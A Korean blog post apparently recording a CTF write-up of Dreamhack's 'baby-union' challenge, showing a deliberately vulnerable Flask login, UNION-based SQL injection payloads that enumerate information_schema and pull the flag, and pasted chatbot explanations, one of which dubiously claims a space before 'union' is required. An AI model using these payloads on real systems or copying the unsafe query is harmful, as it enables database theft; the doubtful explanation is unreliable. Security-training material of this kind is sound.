Dreamhack/Dreamhack Wargame (Challenge)

[70] IT 비전공자 [dreamhack] baby-union문제 풀기

imaginefuture-1 2024. 11. 18. 08:53

 

 

첫번째 문제 푼게 엊그제 같은데 벌써 70번째 문제다

30일만 지나면 100번째 문제,

하루에 한문제씩이지만, 그 하루가 쌓여 모인다.

내일의 나는 또 얼마나 성장해있을까

시간을 멈출 수 없다면, 시간의 흐름을 즐기고, 나아가자

 

오늘도, 즐기자

 

 

web!

 

 

 

 

홈페이지에서 로그인 창이 뜬다. uid와 upw가 있다

 

 

 

app.py 파일 소스코드다

 

import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

 

 

 

이 Flask 애플리케이션은 사용자가 웹 폼을 통해 입력한 `uid`와 `upw`(사용자 아이디와 비밀번호) 값을 데이터베이스에서 조회하는 간단한 로그인 시스템입니다. 그러나 코드에 **SQL 인젝션** 취약점이 존재합니다. 이를 분석하고, 각 부분을 설명하겠습니다.

### 코드 분석

```python
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
```
- **모듈 임포트**:
  - `os`: 환경 변수 등을 가져오기 위한 모듈.
  - `Flask`: Flask 웹 애플리케이션 프레임워크.
  - `request`: HTTP 요청을 처리하는 객체.
  - `render_template`: HTML 템플릿을 렌더링하는 함수.
  - `flask_mysqldb`: MySQL과의 연동을 위한 라이브러리.

```python
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
```
- **Flask 애플리케이션 초기화**:
  - `Flask(__name__)`: Flask 애플리케이션 객체를 생성합니다.
  - `app.config`: MySQL 데이터베이스 연결 설정을 합니다. 환경 변수에서 MySQL 설정을 가져오거나, 없다면 기본값(`localhost`, `user`, `pass`, `secret_db`)을 사용합니다.
  - `mysql = MySQL(app)`: Flask 애플리케이션과 MySQL을 연결합니다.

### `/` 라우트와 `POST` 처리
```python
@app.route("/", methods = ["GET", "POST"])
def index():
    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
```
- **`POST` 요청 처리**:
  - 클라이언트가 로그인 폼을 제출할 때 `POST` 요청을 보냅니다. `uid`와 `upw`는 폼에서 입력받은 아이디와 비밀번호입니다.

```python
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)
            else:
                return render_template("index.html", data="Wrong!")
```
- **SQL 쿼리 실행**:
  - `uid`와 `upw` 값이 존재하면, 이 값을 이용해 MySQL 데이터베이스에서 쿼리를 실행합니다.
  - `cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")`: 이 부분에서 **SQL 인젝션 취약점**이 발생합니다. 사용자가 입력한 `uid`와 `upw`가 직접 쿼리에 삽입되기 때문에, 악의적인 사용자가 이를 조작하여 데이터베이스를 공격할 수 있습니다.
  - 예를 들어, `uid`에 `' OR 1=1 --`를 입력하면 쿼리는 다음과 같이 변경됩니다:
    ```sql
    SELECT * FROM users WHERE uid='' OR 1=1 --' and upw='';
    ```
    이렇게 되면 `1=1`이 항상 참이기 때문에 모든 사용자 데이터가 반환됩니다.

```python
        return render_template("index.html", data="Fill the input box", pre=1)
```
- **입력 값이 없을 경우 처리**:
  - `uid`나 `upw`가 비어 있으면 "Fill the input box"라는 메시지를 표시합니다.

### **`GET` 요청 처리**
```python
    return render_template("index.html")
```
- **`GET` 요청 처리**:
  - 페이지에 처음 접속할 때 `GET` 요청이 발생하고, 이 경우 `index.html`을 렌더링합니다.

### 애플리케이션 실행
```python
if __name__ == '__main__':
    app.run(host='0.0.0.0')
```
- **애플리케이션 실행**:
  - Flask 애플리케이션을 `0.0.0.0`에서 실행하여 외부 접속을 허용합니다.

---

### **문제점**: SQL 인젝션 취약점

위 코드에서는 **SQL 인젝션** 취약점이 존재합니다. 사용자가 `uid`와 `upw`를 입력하는데, 이를 **SQL 쿼리에 직접 삽입**하기 때문에 공격자가 악의적인 SQL 코드를 입력할 수 있습니다. 예를 들어:

- `uid`: `' OR 1=1 --`
- `upw`: (빈 값)

위와 같은 값을 입력하면, SQL 쿼리는 다음과 같습니다:

```sql
SELECT * FROM users WHERE uid='' OR 1=1 -- and upw='';
```

이 쿼리는 `1=1`이 항상 참이므로, `users` 테이블에 있는 모든 데이터를 반환합니다.

### **SQL 인젝션을 이용한 공격 방법**

1. **SQL 인젝션을 통한 플래그 조회**:
   - `uid`에 `' OR 1=1 --`을 입력하고 `upw`는 비워두거나 아무 값이나 넣습니다.
   - 그러면 `users` 테이블의 모든 데이터를 조회할 수 있습니다.
   
2. **다양한 SQL 인젝션 기법 사용**:
   - `upw`나 `uid`에 다양한 SQL 인젝션 페이로드를 시도하여, 데이터베이스에서 플래그나 민감한 데이터를 추출할 수 있습니다.

### **SQL 인젝션 방지 방법**

이 문제를 해결하려면 **파라미터화된 쿼리**를 사용해야 합니다. 예를 들어, `flask_mysqldb`의 `cursor.execute()`를 사용할 때, 쿼리 문자열에 직접 데이터를 삽입하는 대신 **플레이스홀더**를 사용해야 합니다.

```python
cur.execute("SELECT * FROM users WHERE uid=%s AND upw=%s", (uid, upw))
```

이렇게 하면 `uid`와 `upw` 값이 안전하게 처리되어 SQL 인젝션을 방지할 수 있습니다.

### 결론

이 Flask 애플리케이션은 **SQL 인젝션** 취약점이 존재하여 악의적인 사용자가 데이터베이스에 접근하거나 중요한 데이터를 탈취할 수 있습니다. 이를 해결하려면 **파라미터화된 쿼리**를 사용하여 사용자 입력을 안전하게 처리해야 합니다.

 


 

 

init.sql파일 소스코드다

 

 

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

 

이 SQL 스크립트는 **MySQL** 데이터베이스를 생성하고, 사용자 및 데이터를 삽입하며, **fake_table_name**이라는 가상의 테이블을 만들어 `flag` 값을 삽입하는 과정을 설명합니다. 이 내용을 분석하고, 각 부분을 자세히 살펴보겠습니다.

### 1. **데이터베이스 생성 및 권한 부여**

```sql
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
```
- **`CREATE DATABASE secret_db;`**: `secret_db`라는 이름의 새로운 데이터베이스를 생성합니다.
- **`GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';`**: 
  - `dbuser`라는 사용자를 생성하고, `localhost`에서 이 사용자가 `secret_db` 데이터베이스에 대해 모든 권한을 가지도록 설정합니다.
  - 비밀번호는 `'dbpass'`로 설정됩니다.
  
이 부분은 데이터베이스와 사용자를 설정하고, 해당 사용자가 데이터베이스에 접근할 수 있도록 권한을 부여하는 과정입니다.

### 2. **`users` 테이블 생성 및 데이터 삽입**

```sql
USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
```
- **`USE secret_db;`**: `secret_db` 데이터베이스를 사용하도록 설정합니다. 이후의 쿼리는 이 데이터베이스에서 실행됩니다.
- **`CREATE TABLE users (...);`**: `users`라는 테이블을 생성합니다. 이 테이블은 `uid` (아이디), `upw` (비밀번호), `descr` (설명)을 가진 세 개의 컬럼을 포함하고 있으며, `idx`는 기본 키로 설정되어 `auto_increment`로 자동 증가합니다.
- **`INSERT INTO users ...;`**: `users` 테이블에 세 명의 사용자를 삽입합니다.
  - `'admin', 'apple', 'For admin'`
  - `'guest', 'melon', 'For guest'`
  - `'banana', 'test', 'For banana'`

이 부분은 `users` 테이블을 생성하고, `admin`, `guest`, `banana`라는 세 개의 사용자 데이터를 삽입합니다.

### 3. **`fake_table_name` 테이블 생성 및 데이터 삽입**

```sql
CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
```
- **`CREATE TABLE fake_table_name ...;`**: `fake_table_name`이라는 새로운 테이블을 생성합니다. 이 테이블은 `fake_col1`, `fake_col2`, `fake_col3`, `fake_col4`라는 네 개의 컬럼을 가지고 있으며, `idx`는 기본 키로 설정되어 `auto_increment`로 자동 증가합니다.
- **`INSERT INTO fake_table_name ...;`**: `fake_table_name` 테이블에 데이터를 삽입합니다. 삽입된 데이터는 `'flag is '`, `'DH{sam'`, `'ple'`, `'flag}'`라는 문자열들입니다.

이 부분은 `fake_table_name` 테이블을 생성하고, `flag` 값을 포함하는 데이터를 삽입하는 코드입니다. 삽입된 데이터는 `fake_table_name`의 컬럼들에 분배됩니다:
- `fake_col1`에는 `'flag is '`
- `fake_col2`에는 `'DH{sam'`
- `fake_col3`에는 `'ple'`
- `fake_col4`에는 `'flag}'`

따라서, 이 데이터는 사실상 **`flag is DH{sampleflag}`**라는 문자열을 구성하는 내용입니다. 이 문자열은 **플래그**로 보이며, 이를 통해 **CTF(화합형 해킹 대회)**와 같은 환경에서 중요한 정보를 표시할 수 있습니다.

### **플래그 분석**

- `fake_table_name` 테이블에 삽입된 데이터는 실제로 하나의 **플래그**를 포함하고 있습니다. `fake_col1`, `fake_col2`, `fake_col3`, `fake_col4`에 저장된 데이터는 **`flag is DH{sampleflag}`**라는 문자열을 구성하며, 이를 통해 **CTF 대회나 보안 테스트에서 사용할 수 있는 플래그**로 보입니다.

### **요약**

- 이 SQL 스크립트는 `secret_db`라는 데이터베이스를 생성하고, `users`라는 사용자 정보를 담은 테이블과 `fake_table_name`이라는 가상의 테이블을 생성합니다.
- `fake_table_name` 테이블에 삽입된 데이터에서 **플래그**를 찾을 수 있으며, 이 플래그는 **`DH{sampleflag}`**입니다.
- 이 플래그는 보안 대회나 해킹 연습에서 유용할 수 있습니다.

 

 


 

 

 `'admin', 'apple', 'For admin'`
  - `'guest', 'melon', 'For guest'`
  - `'banana', 'test', 'For banana'`

 

하나씩 집어넣어보자

 

 

야무지게 뜬다

 

그래서 flag는?

 

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

 

fake_table_name의 진짜 이름과 fake_co1들의 진짜 컬럼 이름을 찾아야할 것 같다

 


 

https://velog.io/@sy460129/Dreamhack-baby-union

 

[Dreamhack] baby-union

먼저 위의 명령어를 통해 SQLi가 가능한지를 파악했고, 성공적으로 admin 계정으로 접속 할 수 있었다.그래서 주어진 fake_table_name괴 fake_col의 정확한 이름을 알아내기 위해 노력했는데,먼저 column수

velog.io

 

 

https://velog.io/@buubb/dreamhack-baby-union

 

[dreamhack] baby-union

형편없는 웹 해킹 실력을 향상시키기 위해....baby union에 도전해보았다.컬럼 네 개다.database 이름은 secret_db이다.table name까지 아주 술술 불고 있다.admin의 비밀번호는 apple이다.admin으로 로그인해봤

velog.io

https://tjrrb4551.tistory.com/entry/Dreamhack-baby-union-write-up

 

[Dreamhack] baby-union write up

sqli 문제이다. 코드를 바로 보자! CREATE DATABASE secret_db; GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass'; USE `secret_db`; CREATE TABLE users ( idx int auto_increment primary key, uid varchar(128) not null,

tjrrb4551.tistory.com

https://st-together.tistory.com/59

 

[DreamHack] 드림핵 baby-union

union을 사용한 sql-injection 문제이다. 사이트에 접속을 하면 uid와 pwd를 입력하는 칸이 보이고 입력된 문자를 통해 query가 만들어지는 것을 확인할 수 있다. 소스코드 input을 받고 users의 모든 정보를

st-together.tistory.com

https://mnzy.tistory.com/198

 

[Dreamhack] Level 1: baby-union

1. 문제 https://dreamhack.io/wargame/challenges/984 baby-unionDescription 로그인 시 계정의 정보가 출력되는 웹 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의

mnzy.tistory.com

 

 


 

 

 

union
union은 쉽게 말해 테이블을 합치는 것이라 할 수 있다.

하지만 합칠 테이블의 컬럼수가 같이 않다면 에러가 뜨는데 이것을 주의해야 한다.

 

union을 사용하기 전 먼저 해당 테이블의 컬럼수가 몇 개 인지를 확인해야 한다.

위의 코드에서 4개의 컬럼을 가진 것을 확인했지만 소스코드를 확인할 수 없는 경우라면 

union select 1,2,3... 이런 식으로 하나 하나 넣어보며 에러가 나지 않는 경우를 찾아야 한다.

출처 ㅣhttps://st-together.tistory.com/59

 

 

저번에 사용했던 union select을 쓸거다

 

db구조와 속성에 관한 정보를 저장하는 테이블 = information_schema

 

information_schema에서 table이름을 가져오기 위해서는 요런식으로 qurey문을 사용하면된다

 

admin' union select table_name,2,3,4 from information_schema.tables #

 

uid에 이 query를 넣고 upw는 주석처리되기 때문에 아무 값이나 넣으면 된다

아니면 uid에 admin을 넣고 upw에 apple'을 집어넣고 qurey문을 작성하면 된다

 

 

요건 db버전 확인하는 qurey문이다 

admin' union select version(),null,null,null # 

 

 

MariaDB다

 

 

아 참고로 주의사항이 있다. union앞에 공백을 줘야한다. 아니면 에러뜬다


 

 

 

 

지피티야 쿼리문에서
admin' union select table_name,2,3,4 from information_schema.tables # 랑
admin'union select table_name,2,3,4 from information_schema.tables #에서
union앞에 공백을 안주면 왜 오류가 나는거야?

 

 

 

 

`admin' union select table_name,2,3,4 from information_schema.tables #`와 `admin'union select table_name,2,3,4 from information_schema.tables #` 사이에서 발생하는 오류는 **SQL 문법**과 관련이 있습니다. 

### 문제의 핵심

`UNION`은 두 개 이상의 **SELECT** 쿼리의 결과를 결합하는 데 사용됩니다. 그러나 **SQL 구문에서 `UNION`**을 사용할 때, `UNION` 앞뒤로 적절한 **공백**이 있어야 합니다. 이유는 `UNION`이 SQL 키워드이기 때문입니다.

### 분석

1. **`admin' union select table_name,2,3,4 from information_schema.tables #`**:  
   이 쿼리는 `admin'`이라는 값 뒤에 공백을 두고 `union`을 사용하고 있습니다. 이 문법은 **올바르게 분리된** 두 개의 SQL 쿼리입니다.
   
   - **`admin'`**은 문자열의 끝을 나타내며, `'`은 문자열 리터럴을 닫습니다.
   - `union select table_name,2,3,4 from information_schema.tables #`는 다른 SQL 쿼리입니다. `#`는 주석을 나타내므로, 나머지 부분은 무시됩니다.

   이 방식은 SQL 쿼리 문법에 맞기 때문에 오류 없이 실행됩니다.

2. **`admin'union select table_name,2,3,4 from information_schema.tables #`**:
   이 쿼리는 `admin'` 뒤에 공백 없이 `union`이 붙어 있습니다. 이 경우 문제가 발생하는 이유는 다음과 같습니다:

   - **`admin'`**은 문자열 리터럴을 닫는 구분자입니다. 따라서 **`'`** 뒤에 오는 `union`은 SQL 엔진이 이전 문자열 리터럴의 종료를 인식한 후에 `union` 키워드를 처리하려고 시도합니다. 하지만, **`union`** 키워드는 문자열 리터럴 뒤에서 바로 인식되지 않기 때문에 오류가 발생합니다.
   
   - 이 상태에서는 `union`이 `admin'`과 연결된 문자열 리터럴의 일부로 잘못 인식되기 때문에 구문 오류가 발생합니다. 즉, **`'`** (문자열 리터럴 종료)와 **`union`** 사이에 공백이 없으면 SQL 문법적으로 올바른 구문이 아니게 됩니다.

### SQL 문법

- **`'`** 뒤에 공백을 추가하여 **`union`** 키워드를 올바르게 분리하면 SQL 문법 오류를 피할 수 있습니다.
- **`UNION`**은 두 개 이상의 **SELECT** 쿼리를 합치는 역할을 하며, 각 쿼리와 쿼리 사이에 적절한 구분을 두어야 합니다.
  
### 결론

SQL 쿼리에서 `UNION` 앞에 공백이 필요하는 이유는 SQL 엔진이 `UNION` 키워드를 다른 SQL 명령어와 구분할 수 있도록 해야 하기 때문입니다. 문자열 리터럴(`'`) 뒤에 바로 `UNION`이 오면 SQL 문법 오류가 발생하므로, 공백을 추가하여 쿼리를 올바르게 구분해야 합니다.

 


 

information_schema.tables 정보다

 

Hello admin


#	id	description
1	admin	For admin
ALL_PLUGINS	2	4
APPLICABLE_ROLES	2	4
CHARACTER_SETS	2	4
CHECK_CONSTRAINTS	2	4
COLLATIONS	2	4
COLLATION_CHARACTER_SET_APPLICABILITY	2	4
COLUMNS	2	4
COLUMN_PRIVILEGES	2	4
ENABLED_ROLES	2	4
ENGINES	2	4
EVENTS	2	4
FILES	2	4
GLOBAL_STATUS	2	4
GLOBAL_VARIABLES	2	4
KEYWORDS	2	4
KEY_CACHES	2	4
KEY_COLUMN_USAGE	2	4
PARAMETERS	2	4
PARTITIONS	2	4
PLUGINS	2	4
PROCESSLIST	2	4
PROFILING	2	4
REFERENTIAL_CONSTRAINTS	2	4
ROUTINES	2	4
SCHEMATA	2	4
SCHEMA_PRIVILEGES	2	4
SESSION_STATUS	2	4
SESSION_VARIABLES	2	4
STATISTICS	2	4
SQL_FUNCTIONS	2	4
SYSTEM_VARIABLES	2	4
TABLES	2	4
TABLESPACES	2	4
TABLE_CONSTRAINTS	2	4
TABLE_PRIVILEGES	2	4
TRIGGERS	2	4
USER_PRIVILEGES	2	4
VIEWS	2	4
GEOMETRY_COLUMNS	2	4
SPATIAL_REF_SYS	2	4
CLIENT_STATISTICS	2	4
INDEX_STATISTICS	2	4
INNODB_SYS_DATAFILES	2	4
USER_STATISTICS	2	4
INNODB_SYS_TABLESTATS	2	4
INNODB_LOCKS	2	4
INNODB_MUTEXES	2	4
INNODB_CMPMEM	2	4
INNODB_CMP_PER_INDEX	2	4
INNODB_CMP	2	4
INNODB_FT_DELETED	2	4
INNODB_CMP_RESET	2	4
INNODB_LOCK_WAITS	2	4
TABLE_STATISTICS	2	4
INNODB_TABLESPACES_ENCRYPTION	2	4
INNODB_BUFFER_PAGE_LRU	2	4
INNODB_SYS_FIELDS	2	4
INNODB_CMPMEM_RESET	2	4
INNODB_SYS_COLUMNS	2	4
INNODB_FT_INDEX_TABLE	2	4
INNODB_CMP_PER_INDEX_RESET	2	4
user_variables	2	4
INNODB_FT_INDEX_CACHE	2	4
INNODB_SYS_FOREIGN_COLS	2	4
INNODB_FT_BEING_DELETED	2	4
INNODB_BUFFER_POOL_STATS	2	4
INNODB_TRX	2	4
INNODB_SYS_FOREIGN	2	4
INNODB_SYS_TABLES	2	4
INNODB_FT_DEFAULT_STOPWORD	2	4
INNODB_FT_CONFIG	2	4
INNODB_BUFFER_PAGE	2	4
INNODB_SYS_TABLESPACES	2	4
INNODB_METRICS	2	4
INNODB_SYS_INDEXES	2	4
INNODB_SYS_VIRTUAL	2	4
INNODB_TABLESPACES_SCRUBBING	2	4
INNODB_SYS_SEMAPHORE_WAITS	2	4
users	2	4
onlyflag	2

 

비율 안맞는거 킹받긴하지만 맨 밑에 보면 onlyflag 테이블이 보인다. 아주 수상해보인다

onlyflag안의 컬럼값을 확인해보러가자

 

admin' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'onlyflag'#

 

Hello None


#	id	description
idx	None	None
sname	None	None
svalue	None	None
sflag	None	None
sclose	None	None

 

반갑다. idx와 sname은 아이디와 이름을 나타내는 것 같이 보이므로 나머지 svalue, sflag, sclose를 확인해 보자

admin' union select svalue, sflag, null, sclose from onlyflag#

 

union 3번 자리는 확인이 불가능하니 1,2,4번 자리에 위치한 후 확인시킨다

 

 

Hello admin


#	id	description
1	admin	For admin
DH{57033624d7f142f57f13	9b4c9e84bd78da77b4406896	c386672f0cbb016f5873}

 

 

DH{57033624d7f142f57f13 9b4c9e84bd78da77b4406896c386672f0cbb016f5873}